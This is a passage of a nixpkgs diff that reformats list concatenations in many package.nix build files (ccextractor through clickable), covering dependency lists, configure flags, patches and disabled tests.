-      (lib.cmakeBool "WITH_HARDSUBX" true)
-    ];
+    # TODO: This (and the corresponding patch) should probably be
+    # removed for the next stable release.
+    (lib.cmakeFeature "GIT_COMMIT_HASH" finalAttrs.src.rev)
+  ]
+  ++ lib.optionals enableOcr [
+    (lib.cmakeBool "WITH_OCR" true)
+    (lib.cmakeBool "WITH_HARDSUBX" true)
+  ];
 
   env = {
     FFMPEG_INCLUDE_DIR = "${lib.getDev ffmpeg}/include";
diff --git a/pkgs/by-name/cc/cctools/package.nix b/pkgs/by-name/cc/cctools/package.nix
index 6350540065ed..b13ef5c6a49f 100644
--- a/pkgs/by-name/cc/cctools/package.nix
+++ b/pkgs/by-name/cc/cctools/package.nix
@@ -129,7 +129,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   mesonFlags = [
     (lib.mesonOption "b_ndebug" "if-release")
-  ] ++ lib.optionals (targetPrefix != "") [ (lib.mesonOption "target_prefix" targetPrefix) ];
+  ]
+  ++ lib.optionals (targetPrefix != "") [ (lib.mesonOption "target_prefix" targetPrefix) ];
 
   postInstall = ''
     ln -s ${targetPrefix}libtool "$out/bin/${targetPrefix}ranlib"
diff --git a/pkgs/by-name/cc/cctz/package.nix b/pkgs/by-name/cc/cctz/package.nix
index a28c22d0443f..bb71ddeeedb9 100644
--- a/pkgs/by-name/cc/cctz/package.nix
+++ b/pkgs/by-name/cc/cctz/package.nix
@@ -17,10 +17,11 @@ stdenv.mkDerivation rec {
 
   makeFlags = [ "PREFIX=$(out)" ];
 
-  installTargets =
-    [ "install_hdrs" ]
-    ++ lib.optional (!stdenv.hostPlatform.isStatic) "install_shared_lib"
-    ++ lib.optional stdenv.hostPlatform.isStatic "install_lib";
+  installTargets = [
+    "install_hdrs"
+  ]
+  ++ lib.optional (!stdenv.hostPlatform.isStatic) "install_shared_lib"
+  ++ lib.optional stdenv.hostPlatform.isStatic "install_lib";
 
   postInstall = lib.optionalString stdenv.hostPlatform.isDarwin ''
     install_name_tool -id $out/lib/libcctz.so $out/lib/libcctz.so
diff --git a/pkgs/by-name/cd/cdo/package.nix b/pkgs/by-name/cd/cdo/package.nix
index e3f10732ed21..992e8e141062 100644
--- a/pkgs/by-name/cd/cdo/package.nix
+++ b/pkgs/by-name/cd/cdo/package.nix
@@ -32,15 +32,14 @@ stdenv.mkDerivation (finalAttrs: {
     python3
   ];
 
-  configureFlags =
-    [
-      "--with-netcdf=${netcdf}"
-      "--with-hdf5=${hdf5}"
-      "--with-eccodes=${eccodes}"
-    ]
-    ++ lib.optional enable_cdi_lib "--enable-cdi-lib"
-    ++ lib.optional enable_all_static "--enable-all-static"
-    ++ lib.optional enable_cxx "--enable-cxx";
+  configureFlags = [
+    "--with-netcdf=${netcdf}"
+    "--with-hdf5=${hdf5}"
+    "--with-eccodes=${eccodes}"
+  ]
+  ++ lib.optional enable_cdi_lib "--enable-cdi-lib"
+  ++ lib.optional enable_all_static "--enable-all-static"
+  ++ lib.optional enable_cxx "--enable-cxx";
 
   meta = {
     description = "Collection of command line Operators to manipulate and analyse Climate and NWP model Data";
diff --git a/pkgs/by-name/cd/cdrkit/package.nix b/pkgs/by-name/cd/cdrkit/package.nix
index 689b37621bb0..38f7594874df 100644
--- a/pkgs/by-name/cd/cdrkit/package.nix
+++ b/pkgs/by-name/cd/cdrkit/package.nix
@@ -30,7 +30,8 @@ stdenv.mkDerivation (finalAttrs: {
     zlib
     bzip2
     perl
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ libcap ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ libcap ];
 
   env.NIX_CFLAGS_COMPILE = toString (
     lib.optionals stdenv.hostPlatform.isMusl [
@@ -41,22 +42,21 @@ stdenv.mkDerivation (finalAttrs: {
     ]
   );
 
-  postPatch =
-    ''
-      QUILT_PATCHES=debian/patches quilt push -a
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace libusal/scsi-mac-iokit.c \
-        --replace "IOKit/scsi-commands/SCSITaskLib.h" "IOKit/scsi/SCSITaskLib.h"
-      substituteInPlace genisoimage/sha256.c \
-        --replace "<endian.h>" "<machine/endian.h>"
-      substituteInPlace genisoimage/sha512.c \
-        --replace "<endian.h>" "<machine/endian.h>"
-      substituteInPlace genisoimage/sha256.h \
-        --replace "__THROW" ""
-      substituteInPlace genisoimage/sha512.h \
-        --replace "__THROW" ""
-    '';
+  postPatch = ''
+    QUILT_PATCHES=debian/patches quilt push -a
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace libusal/scsi-mac-iokit.c \
+      --replace "IOKit/scsi-commands/SCSITaskLib.h" "IOKit/scsi/SCSITaskLib.h"
+    substituteInPlace genisoimage/sha256.c \
+      --replace "<endian.h>" "<machine/endian.h>"
+    substituteInPlace genisoimage/sha512.c \
+      --replace "<endian.h>" "<machine/endian.h>"
+    substituteInPlace genisoimage/sha256.h \
+      --replace "__THROW" ""
+    substituteInPlace genisoimage/sha512.h \
+      --replace "__THROW" ""
+  '';
 
   preConfigure = lib.optionalString stdenv.hostPlatform.isMusl ''
     substituteInPlace include/xconfig.h.in \
diff --git a/pkgs/by-name/cd/cdxgen/package.nix b/pkgs/by-name/cd/cdxgen/package.nix
index 7baf4185d643..d695a0b1d238 100644
--- a/pkgs/by-name/cd/cdxgen/package.nix
+++ b/pkgs/by-name/cd/cdxgen/package.nix
@@ -22,18 +22,17 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-H83HEiBdXBIhSR18EtYcQey6aXy8URSjpeNVEs3UBm8=";
   };
 
-  nativeBuildInputs =
-    [
-      makeWrapper
-      nodejs
-      node-gyp # required for sqlite3 bindings
-      pnpm_9.configHook
-      python3 # required for sqlite3 bindings
-    ]
-    ++ lib.optional stdenv.hostPlatform.isDarwin [
-      xcbuild
-      cctools.libtool
-    ];
+  nativeBuildInputs = [
+    makeWrapper
+    nodejs
+    node-gyp # required for sqlite3 bindings
+    pnpm_9.configHook
+    python3 # required for sqlite3 bindings
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin [
+    xcbuild
+    cctools.libtool
+  ];
 
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) pname version src;
diff --git a/pkgs/by-name/ce/cegui/package.nix b/pkgs/by-name/ce/cegui/package.nix
index 241624683aeb..f95bd65faef8 100644
--- a/pkgs/by-name/ce/cegui/package.nix
+++ b/pkgs/by-name/ce/cegui/package.nix
@@ -28,24 +28,22 @@ stdenv.mkDerivation {
     cmake
   ];
 
-  buildInputs =
-    [
-      ogre
-      freetype
-      boost
-      expat
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    ogre
+    freetype
+    boost
+    expat
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
-  cmakeFlags =
-    [
-      "-DCEGUI_OPTION_DEFAULT_IMAGECODEC=OgreRenderer-0"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin) [
-      "-DCMAKE_OSX_ARCHITECTURES=${stdenv.hostPlatform.darwinArch}"
-    ];
+  cmakeFlags = [
+    "-DCEGUI_OPTION_DEFAULT_IMAGECODEC=OgreRenderer-0"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin) [
+    "-DCMAKE_OSX_ARCHITECTURES=${stdenv.hostPlatform.darwinArch}"
+  ];
 
   passthru.updateScript = unstableGitUpdater {
     branch = "v0";
diff --git a/pkgs/by-name/ce/celeste64/package.nix b/pkgs/by-name/ce/celeste64/package.nix
index e24921723e4b..0fd0850ecdaf 100644
--- a/pkgs/by-name/ce/celeste64/package.nix
+++ b/pkgs/by-name/ce/celeste64/package.nix
@@ -50,7 +50,8 @@ buildDotnetModule rec {
     xorg.libXcursor
     xorg.libXi
     xorg.libXrandr
-  ] ++ lib.optionals withSELinux [ libselinux ];
+  ]
+  ++ lib.optionals withSELinux [ libselinux ];
 
   postInstall = ''
     export ICON_DIR=$out/share/icons/hicolor/256x256/apps
diff --git a/pkgs/by-name/ce/centerpiece/package.nix b/pkgs/by-name/ce/centerpiece/package.nix
index 7e11eefbca64..d487884f4d7d 100644
--- a/pkgs/by-name/ce/centerpiece/package.nix
+++ b/pkgs/by-name/ce/centerpiece/package.nix
@@ -28,23 +28,22 @@ rustPlatform.buildRustPackage rec {
   cargoHash = "sha256-qwKn9NN7+F/S8ojObjWBU2y2wG0TNeYbYHiwou8AhnI=";
 
   nativeBuildInputs = [ pkg-config ];
-  buildInputs =
+  buildInputs = [
+    dbus
+    libGL
+    libxkbcommon
+    vulkan-loader
+    wayland
+  ]
+  ++ lib.optionals enableX11 (
+    with xorg;
     [
-      dbus
-      libGL
-      libxkbcommon
-      vulkan-loader
-      wayland
+      libX11
+      libXcursor
+      libXi
+      libXrandr
     ]
-    ++ lib.optionals enableX11 (
-      with xorg;
-      [
-        libX11
-        libXcursor
-        libXi
-        libXrandr
-      ]
-    );
+  );
 
   postFixup = lib.optional stdenv.hostPlatform.isLinux ''
     rpath=$(patchelf --print-rpath $out/bin/centerpiece)
diff --git a/pkgs/by-name/cf/cflow/package.nix b/pkgs/by-name/cf/cflow/package.nix
index b8d5ad527532..e6685a63ab7d 100644
--- a/pkgs/by-name/cf/cflow/package.nix
+++ b/pkgs/by-name/cf/cflow/package.nix
@@ -21,9 +21,10 @@ stdenv.mkDerivation rec {
                 "$(cat ${stdenv.cc}/nix-support/orig-cc)/bin/cpp"
   '';
 
-  buildInputs =
-    [ gettext ]
-    ++
+  buildInputs = [
+    gettext
+  ]
+  ++
     # We don't have Emacs/GTK/etc. on {Dar,Cyg}win.
     lib.optional (!(lib.lists.any (x: stdenv.hostPlatform.system == x) [ "i686-cygwin" ])) emacs;
 
diff --git a/pkgs/by-name/ch/chatd/package.nix b/pkgs/by-name/ch/chatd/package.nix
index fa8b090c740c..70e5ba36afeb 100644
--- a/pkgs/by-name/ch/chatd/package.nix
+++ b/pkgs/by-name/ch/chatd/package.nix
@@ -34,7 +34,8 @@ buildNpmPackage rec {
     makeWrapper
     electron
     pkg-config
-  ] ++ lib.optional stdenv.hostPlatform.isLinux autoPatchelfHook; # for onnx libs
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux autoPatchelfHook; # for onnx libs
 
   buildInputs = [
     (lib.getLib stdenv.cc.cc) # for libstdc++.so, required by onnxruntime
diff --git a/pkgs/by-name/ch/checkinstall/package.nix b/pkgs/by-name/ch/checkinstall/package.nix
index b236de7254f1..71ff625361b3 100644
--- a/pkgs/by-name/ch/checkinstall/package.nix
+++ b/pkgs/by-name/ch/checkinstall/package.nix
@@ -14,44 +14,43 @@ stdenv.mkDerivation rec {
     sha256 = "1x4kslyvfd6lm6zd1ylbq2pjxrafb77ydfjaqi16sa5qywn1jqfw";
   };
 
-  patches =
-    [
-      # Include empty directories created by the installation script in
-      # generated packages.  (E.g., if a `make install' does `mkdir
-      # /var/lib/mystuff', then /var/lib/mystuff should be included in
-      # the package.)
-      ./empty-dirs.patch
+  patches = [
+    # Include empty directories created by the installation script in
+    # generated packages.  (E.g., if a `make install' does `mkdir
+    # /var/lib/mystuff', then /var/lib/mystuff should be included in
+    # the package.)
+    ./empty-dirs.patch
 
-      # Implement the getxattr(), lgetxattr(), __open_2() and
-      # __open64_2() functions.  Needed for doing builds on Ubuntu 8.10.
-      ./missing-functions.patch
+    # Implement the getxattr(), lgetxattr(), __open_2() and
+    # __open64_2() functions.  Needed for doing builds on Ubuntu 8.10.
+    ./missing-functions.patch
 
-      # Don't include directories in the Debian `conffiles' file.
-      ./etc-dirs.patch
+    # Don't include directories in the Debian `conffiles' file.
+    ./etc-dirs.patch
 
-      # Support Glibc >= 2.8.
-      ./glibc-check.patch
+    # Support Glibc >= 2.8.
+    ./glibc-check.patch
 
-      # Fix a `conflicting types for 'scandir'' error on Glibc 2.11.
-      ./scandir.patch
+    # Fix a `conflicting types for 'scandir'' error on Glibc 2.11.
+    ./scandir.patch
 
-      # Fix a `conflicting types for 'readlink'' error since Glibc 2.19
-      ./readlink-types.patch
+    # Fix a `conflicting types for 'readlink'' error since Glibc 2.19
+    ./readlink-types.patch
 
-      # Fix BuildRoot handling in RPM builds.
-      ./set-buildroot.patch
+    # Fix BuildRoot handling in RPM builds.
+    ./set-buildroot.patch
 
-      (fetchurl {
-        url = "https://salsa.debian.org/debian/checkinstall/-/raw/7175ae9de0e45f42fdd7f185ab9a12043d5efeeb/debian/patches/0016-Define-_STAT_VER-_MKNOD_VER-locally-dropped-in-glibc.patch";
-        hash = "sha256-InodEfvVMuN708yjXPrVXb+q8aUcyFhCLx35PHls0Eo=";
-      })
-    ]
+    (fetchurl {
+      url = "https://salsa.debian.org/debian/checkinstall/-/raw/7175ae9de0e45f42fdd7f185ab9a12043d5efeeb/debian/patches/0016-Define-_STAT_VER-_MKNOD_VER-locally-dropped-in-glibc.patch";
+      hash = "sha256-InodEfvVMuN708yjXPrVXb+q8aUcyFhCLx35PHls0Eo=";
+    })
+  ]
 
-    ++
-      lib.optional (stdenv.hostPlatform.system == "x86_64-linux")
-        # Force use of old memcpy so that installwatch works on Glibc <
-        # 2.14.
-        ./use-old-memcpy.patch;
+  ++
+    lib.optional (stdenv.hostPlatform.system == "x86_64-linux")
+      # Force use of old memcpy so that installwatch works on Glibc <
+      # 2.14.
+      ./use-old-memcpy.patch;
 
   buildInputs = [ gettext ];
 
diff --git a/pkgs/by-name/ch/cheesecutter/package.nix b/pkgs/by-name/ch/cheesecutter/package.nix
index c8760d8b8a3b..46bdd57d2376 100644
--- a/pkgs/by-name/ch/cheesecutter/package.nix
+++ b/pkgs/by-name/ch/cheesecutter/package.nix
@@ -18,16 +18,16 @@ stdenv.mkDerivation {
     sha256 = "sha256:0q4a791nayya6n01l0f4kk497rdq6kiq0n72fqdpwqy138pfwydn";
   };
 
-  patches =
-    [
-      ./0001-Drop-baked-in-build-date-for-r13y.patch
-    ]
-    ++ lib.optional stdenv.hostPlatform.isDarwin ./0002-Prepend-libSDL.dylib-to-macOS-SDL-loader.patch;
+  patches = [
+    ./0001-Drop-baked-in-build-date-for-r13y.patch
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin ./0002-Prepend-libSDL.dylib-to-macOS-SDL-loader.patch;
 
   nativeBuildInputs = [
     acme
     ldc
-  ] ++ lib.optional (!stdenv.hostPlatform.isDarwin) patchelf;
+  ]
+  ++ lib.optional (!stdenv.hostPlatform.isDarwin) patchelf;
 
   buildInputs = [ SDL ];
 
diff --git a/pkgs/by-name/ch/chiptrack/package.nix b/pkgs/by-name/ch/chiptrack/package.nix
index 44491818e6b6..efbf9268e811 100644
--- a/pkgs/by-name/ch/chiptrack/package.nix
+++ b/pkgs/by-name/ch/chiptrack/package.nix
@@ -61,7 +61,8 @@ rustPlatform.buildRustPackage.override { stdenv = clangStdenv; } rec {
     harfbuzz
     icu
     libjpeg
-  ] ++ lib.optionals clangStdenv.hostPlatform.isLinux [ alsa-lib ];
+  ]
+  ++ lib.optionals clangStdenv.hostPlatform.isLinux [ alsa-lib ];
 
   # Has git dependencies
   useFetchCargoVendor = true;
diff --git a/pkgs/by-name/ch/chromaprint/package.nix b/pkgs/by-name/ch/chromaprint/package.nix
index 3f56672f23ae..e4a4f48ecba2 100644
--- a/pkgs/by-name/ch/chromaprint/package.nix
+++ b/pkgs/by-name/ch/chromaprint/package.nix
@@ -54,11 +54,12 @@ stdenv.mkDerivation (finalAttrs: {
     validatePkgConfig
   ];
 
-  buildInputs =
-    [ ffmpeg-headless ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      zlib
-    ];
+  buildInputs = [
+    ffmpeg-headless
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    zlib
+  ];
 
   # with trivialautovarinit enabled can produce an empty .pc file
   hardeningDisable = [ "trivialautovarinit" ];
@@ -93,16 +94,15 @@ stdenv.mkDerivation (finalAttrs: {
       runHook postCheck
     '';
 
-  meta =
-    {
-      changelog = "https://github.com/acoustid/chromaprint/releases/tag/v${finalAttrs.version}";
-      homepage = "https://acoustid.org/chromaprint";
-      description = "AcoustID audio fingerprinting library";
-      license = lib.licenses.lgpl21Plus;
-      platforms = lib.platforms.unix;
-      pkgConfigModules = [ "libchromaprint" ];
-    }
-    // lib.attrsets.optionalAttrs withTools {
-      mainProgram = "fpcalc";
-    };
+  meta = {
+    changelog = "https://github.com/acoustid/chromaprint/releases/tag/v${finalAttrs.version}";
+    homepage = "https://acoustid.org/chromaprint";
+    description = "AcoustID audio fingerprinting library";
+    license = lib.licenses.lgpl21Plus;
+    platforms = lib.platforms.unix;
+    pkgConfigModules = [ "libchromaprint" ];
+  }
+  // lib.attrsets.optionalAttrs withTools {
+    mainProgram = "fpcalc";
+  };
 })
diff --git a/pkgs/by-name/ch/chrony/package.nix b/pkgs/by-name/ch/chrony/package.nix
index cfa7806285f3..3a98df0c96b4 100644
--- a/pkgs/by-name/ch/chrony/package.nix
+++ b/pkgs/by-name/ch/chrony/package.nix
@@ -28,23 +28,23 @@ stdenv.mkDerivation rec {
 
   nativeBuildInputs = [ pkg-config ];
 
-  buildInputs =
-    [
-      gnutls
-      libedit
-      texinfo
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libcap
-      libseccomp
-      pps-tools
-    ];
+  buildInputs = [
+    gnutls
+    libedit
+    texinfo
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libcap
+    libseccomp
+    pps-tools
+  ];
 
   configureFlags = [
     "--enable-ntp-signd"
     "--sbindir=$(out)/bin"
     "--chronyrundir=/run/chrony"
-  ] ++ lib.optional stdenv.hostPlatform.isLinux "--enable-scfilter";
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux "--enable-scfilter";
 
   patches = [
     # Cleanup the installation script
diff --git a/pkgs/by-name/ci/cifs-utils/package.nix b/pkgs/by-name/ci/cifs-utils/package.nix
index 40dd41d46524..205f93e53806 100644
--- a/pkgs/by-name/ci/cifs-utils/package.nix
+++ b/pkgs/by-name/ci/cifs-utils/package.nix
@@ -39,13 +39,14 @@ stdenv.mkDerivation rec {
     talloc
   ];
 
-  configureFlags =
-    [ "ROOTSBINDIR=$(out)/sbin" ]
-    ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-      # AC_FUNC_MALLOC is broken on cross builds.
-      "ac_cv_func_malloc_0_nonnull=yes"
-      "ac_cv_func_realloc_0_nonnull=yes"
-    ];
+  configureFlags = [
+    "ROOTSBINDIR=$(out)/sbin"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+    # AC_FUNC_MALLOC is broken on cross builds.
+    "ac_cv_func_malloc_0_nonnull=yes"
+    "ac_cv_func_realloc_0_nonnull=yes"
+  ];
 
   meta = with lib; {
     homepage = "https://wiki.samba.org/index.php/LinuxCIFS_utils";
diff --git a/pkgs/by-name/ci/cinnamon-gsettings-overrides/package.nix b/pkgs/by-name/ci/cinnamon-gsettings-overrides/package.nix
index 52bf50d5abb8..e2984b5e00a3 100644
--- a/pkgs/by-name/ci/cinnamon-gsettings-overrides/package.nix
+++ b/pkgs/by-name/ci/cinnamon-gsettings-overrides/package.nix
@@ -39,7 +39,8 @@ let
     gnome-terminal
     gsettings-desktop-schemas
     gtk3
-  ] ++ extraGSettingsOverridePackages;
+  ]
+  ++ extraGSettingsOverridePackages;
 
   gsettingsOverrides = ''
     # Use Fedora's default to make text readable and
diff --git a/pkgs/by-name/ci/cinny-desktop/package.nix b/pkgs/by-name/ci/cinny-desktop/package.nix
index c78f7d1958a6..314e2412badc 100644
--- a/pkgs/by-name/ci/cinny-desktop/package.nix
+++ b/pkgs/by-name/ci/cinny-desktop/package.nix
@@ -68,15 +68,14 @@ rustPlatform.buildRustPackage (finalAttrs: {
     )
   '';
 
-  nativeBuildInputs =
-    [
-      cargo-tauri_1.hook
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      desktop-file-utils
-      pkg-config
-      wrapGAppsHook3
-    ];
+  nativeBuildInputs = [
+    cargo-tauri_1.hook
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    desktop-file-utils
+    pkg-config
+    wrapGAppsHook3
+  ];
 
   buildInputs = lib.optionals stdenv.hostPlatform.isLinux [
     glib-networking
diff --git a/pkgs/by-name/ci/cinny-unwrapped/package.nix b/pkgs/by-name/ci/cinny-unwrapped/package.nix
index 53ce6b4bc7ad..2fd7b23861af 100644
--- a/pkgs/by-name/ci/cinny-unwrapped/package.nix
+++ b/pkgs/by-name/ci/cinny-unwrapped/package.nix
@@ -33,7 +33,8 @@ buildNpmPackage rec {
     pixman
     cairo
     pango
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ giflib ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ giflib ];
 
   installPhase = ''
     runHook preInstall
diff --git a/pkgs/by-name/ci/ciscoPacketTracer8/package.nix b/pkgs/by-name/ci/ciscoPacketTracer8/package.nix
index f07f943cbf20..a13cc8220fcb 100644
--- a/pkgs/by-name/ci/ciscoPacketTracer8/package.nix
+++ b/pkgs/by-name/ci/ciscoPacketTracer8/package.nix
@@ -54,46 +54,45 @@ let
           url = "https://www.netacad.com";
         };
 
-    buildInputs =
-      [
-        autoPatchelfHook
-        makeWrapper
-        alsa-lib
-        dbus
-        expat
-        fontconfig
-        glib
-        libdrm
-        libglvnd
-        libpulseaudio
-        libudev0-shim
-        libxkbcommon
-        libxml2
-        libxslt
-        nspr
-        nss
-        wayland
-      ]
-      ++ (with xorg; [
-        libICE
-        libSM
-        libX11
-        libXScrnSaver
-        libXcomposite
-        libXcursor
-        libXdamage
-        libXext
-        libXfixes
-        libXi
-        libXrandr
-        libXrender
-        libXtst
-        libxcb
-        xcbutilimage
-        xcbutilkeysyms
-        xcbutilrenderutil
-        xcbutilwm
-      ]);
+    buildInputs = [
+      autoPatchelfHook
+      makeWrapper
+      alsa-lib
+      dbus
+      expat
+      fontconfig
+      glib
+      libdrm
+      libglvnd
+      libpulseaudio
+      libudev0-shim
+      libxkbcommon
+      libxml2
+      libxslt
+      nspr
+      nss
+      wayland
+    ]
+    ++ (with xorg; [
+      libICE
+      libSM
+      libX11
+      libXScrnSaver
+      libXcomposite
+      libXcursor
+      libXdamage
+      libXext
+      libXfixes
+      libXi
+      libXrandr
+      libXrender
+      libXtst
+      libxcb
+      xcbutilimage
+      xcbutilkeysyms
+      xcbutilrenderutil
+      xcbutilwm
+    ]);
 
     unpackPhase = ''
       runHook preUnpack
diff --git a/pkgs/by-name/cj/cjdns/package.nix b/pkgs/by-name/cj/cjdns/package.nix
index 45616081a481..305566a15a3a 100644
--- a/pkgs/by-name/cj/cjdns/package.nix
+++ b/pkgs/by-name/cj/cjdns/package.nix
@@ -34,14 +34,13 @@ rustPlatform.buildRustPackage rec {
   useFetchCargoVendor = true;
   cargoHash = "sha256-LJEKjhyAsK6b7mKObX8tNJdKt53iagMD/YLzoY5GVPw=";
 
-  nativeBuildInputs =
-    [
-      which
-      python3
-      nodejs
-      pkg-config
-    ]
-    ++
+  nativeBuildInputs = [
+    which
+    python3
+    nodejs
+    pkg-config
+  ]
+  ++
     # for flock
     lib.optional stdenv.hostPlatform.isLinux util-linux;
 
diff --git a/pkgs/by-name/cj/cjs/package.nix b/pkgs/by-name/cj/cjs/package.nix
index 9d3339369515..6a55db2dea23 100644
--- a/pkgs/by-name/cj/cjs/package.nix
+++ b/pkgs/by-name/cj/cjs/package.nix
@@ -35,19 +35,18 @@ stdenv.mkDerivation rec {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      pkg-config
-      which # for locale detection
-      libxml2 # for xml-stripblanks
-      dbus # for dbus-run-session
-      gobject-introspection
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+    which # for locale detection
+    libxml2 # for xml-stripblanks
+    dbus # for dbus-run-session
+    gobject-introspection
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ];
 
   buildInputs = [
     cairo
diff --git a/pkgs/by-name/cl/clamav/package.nix b/pkgs/by-name/cl/clamav/package.nix
index e1c0fb47a873..92ff9ed70751 100644
--- a/pkgs/by-name/cl/clamav/package.nix
+++ b/pkgs/by-name/cl/clamav/package.nix
@@ -61,7 +61,8 @@ stdenv.mkDerivation rec {
     libmspack
     json_c
     check
-  ] ++ lib.optional stdenv.hostPlatform.isLinux systemd;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux systemd;
 
   cmakeFlags = [
     "-DSYSTEMD_UNIT_DIR=${placeholder "out"}/lib/systemd"
diff --git a/pkgs/by-name/cl/clang-uml/package.nix b/pkgs/by-name/cl/clang-uml/package.nix
index 2a119ac37b8e..4a0809afe1cd 100644
--- a/pkgs/by-name/cl/clang-uml/package.nix
+++ b/pkgs/by-name/cl/clang-uml/package.nix
@@ -26,21 +26,20 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-mY6kJnwWLgCeKXSquNTxsnr4S3bKwedgiRixzyLWTK8=";
   };
 
-  nativeBuildInputs =
-    [
-      cmake
-      pkg-config
-      installShellFiles
-    ]
-    ++ (
-      if debug then
-        [
-          elfutils
-          libunwind
-        ]
-      else
-        [ ]
-    );
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+    installShellFiles
+  ]
+  ++ (
+    if debug then
+      [
+        elfutils
+        libunwind
+      ]
+    else
+      [ ]
+  );
 
   cmakeFlags = [
     "-DCUSTOM_COMPILE_OPTIONS=-Wno-error=sign-compare"
diff --git a/pkgs/by-name/cl/claws-mail/package.nix b/pkgs/by-name/cl/claws-mail/package.nix
index 88adbe8526e6..43c7b2a91651 100644
--- a/pkgs/by-name/cl/claws-mail/package.nix
+++ b/pkgs/by-name/cl/claws-mail/package.nix
@@ -319,17 +319,17 @@ stdenv.mkDerivation rec {
     gsettings-desktop-schemas
     glib-networking
     gtk3
-  ] ++ lib.concatMap (f: lib.optionals f.enabled f.deps) (lib.filter (f: f ? deps) features);
+  ]
+  ++ lib.concatMap (f: lib.optionals f.enabled f.deps) (lib.filter (f: f ? deps) features);
 
-  configureFlags =
-    [
-      "--disable-manual" # Missing docbook-tools, e.g., docbook2html
-      "--disable-compface" # Missing compface library
-      "--disable-jpilot" # Missing jpilot library
-    ]
-    ++ (map (
-      feature: map (flag: lib.strings.enableFeature feature.enabled flag) feature.flags
-    ) features);
+  configureFlags = [
+    "--disable-manual" # Missing docbook-tools, e.g., docbook2html
+    "--disable-compface" # Missing compface library
+    "--disable-jpilot" # Missing jpilot library
+  ]
+  ++ (map (
+    feature: map (flag: lib.strings.enableFeature feature.enabled flag) feature.flags
+  ) features);
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/cl/clblas/package.nix b/pkgs/by-name/cl/clblas/package.nix
index 463f36deca47..12d59ec6d89e 100644
--- a/pkgs/by-name/cl/clblas/package.nix
+++ b/pkgs/by-name/cl/clblas/package.nix
@@ -48,15 +48,14 @@ stdenv.mkDerivation rec {
     gfortran
     python3
   ];
-  buildInputs =
-    [
-      blas
-      boost
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      ocl-icd
-      opencl-headers
-    ];
+  buildInputs = [
+    blas
+    boost
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    ocl-icd
+    opencl-headers
+  ];
 
   strictDeps = true;
 
diff --git a/pkgs/by-name/cl/clfft/package.nix b/pkgs/by-name/cl/clfft/package.nix
index 5b12ce60d3d1..e81f6aac8ceb 100644
--- a/pkgs/by-name/cl/clfft/package.nix
+++ b/pkgs/by-name/cl/clfft/package.nix
@@ -32,16 +32,15 @@ stdenv.mkDerivation rec {
 
   nativeBuildInputs = [ cmake ];
 
-  buildInputs =
-    [
-      fftw
-      fftwFloat
-      boost
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      opencl-clhpp
-      ocl-icd
-    ];
+  buildInputs = [
+    fftw
+    fftwFloat
+    boost
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    opencl-clhpp
+    ocl-icd
+  ];
 
   # https://github.com/clMathLibraries/clFFT/issues/237
   CXXFLAGS = "-std=c++98";
diff --git a/pkgs/by-name/cl/clickable/package.nix b/pkgs/by-name/cl/clickable/package.nix
index cb59461ea4a1..83436578c29c 100644
--- a/pkgs/by-name/cl/clickable/package.nix
+++ b/pkgs/by-name/cl/clickable/package.nix
@@ -28,43 +28,42 @@ python3Packages.buildPythonApplication rec {
 
   nativeCheckInputs = [ python3Packages.pytestCheckHook ];
 
-  disabledTests =
-    [
-      # Tests require docker
-      "test_cpp_plugin"
-      "test_html"
-      "test_python"
-      "test_qml_only"
-      "test_rust"
-      "test_review"
-      "test_click_build"
-      "test_no_device"
-      "test_no_file_temp"
-      "test_update"
-      "test_lib_build"
-      "test_clean"
-      "test_temp_exception"
-      "test_create_interactive"
-      "test_create_non_interactive"
-      "test_kill"
-      "test_writable_image"
-      "test_no_desktop_mode"
-      "test_no_lock"
-      "test_run_default_command"
-      "test_run"
-      "test_no_container_mode_log"
-      "test_custom_mode_log"
-      "test_skip_desktop_mode"
-      "test_log"
-      "test_custom_lock_file"
-      "test_launch_custom"
-      "test_launch"
-      "test_devices"
-      "test_install"
-      "test_skip_container_mode"
-      "test_godot_plugin"
-    ]
-    ++
+  disabledTests = [
+    # Tests require docker
+    "test_cpp_plugin"
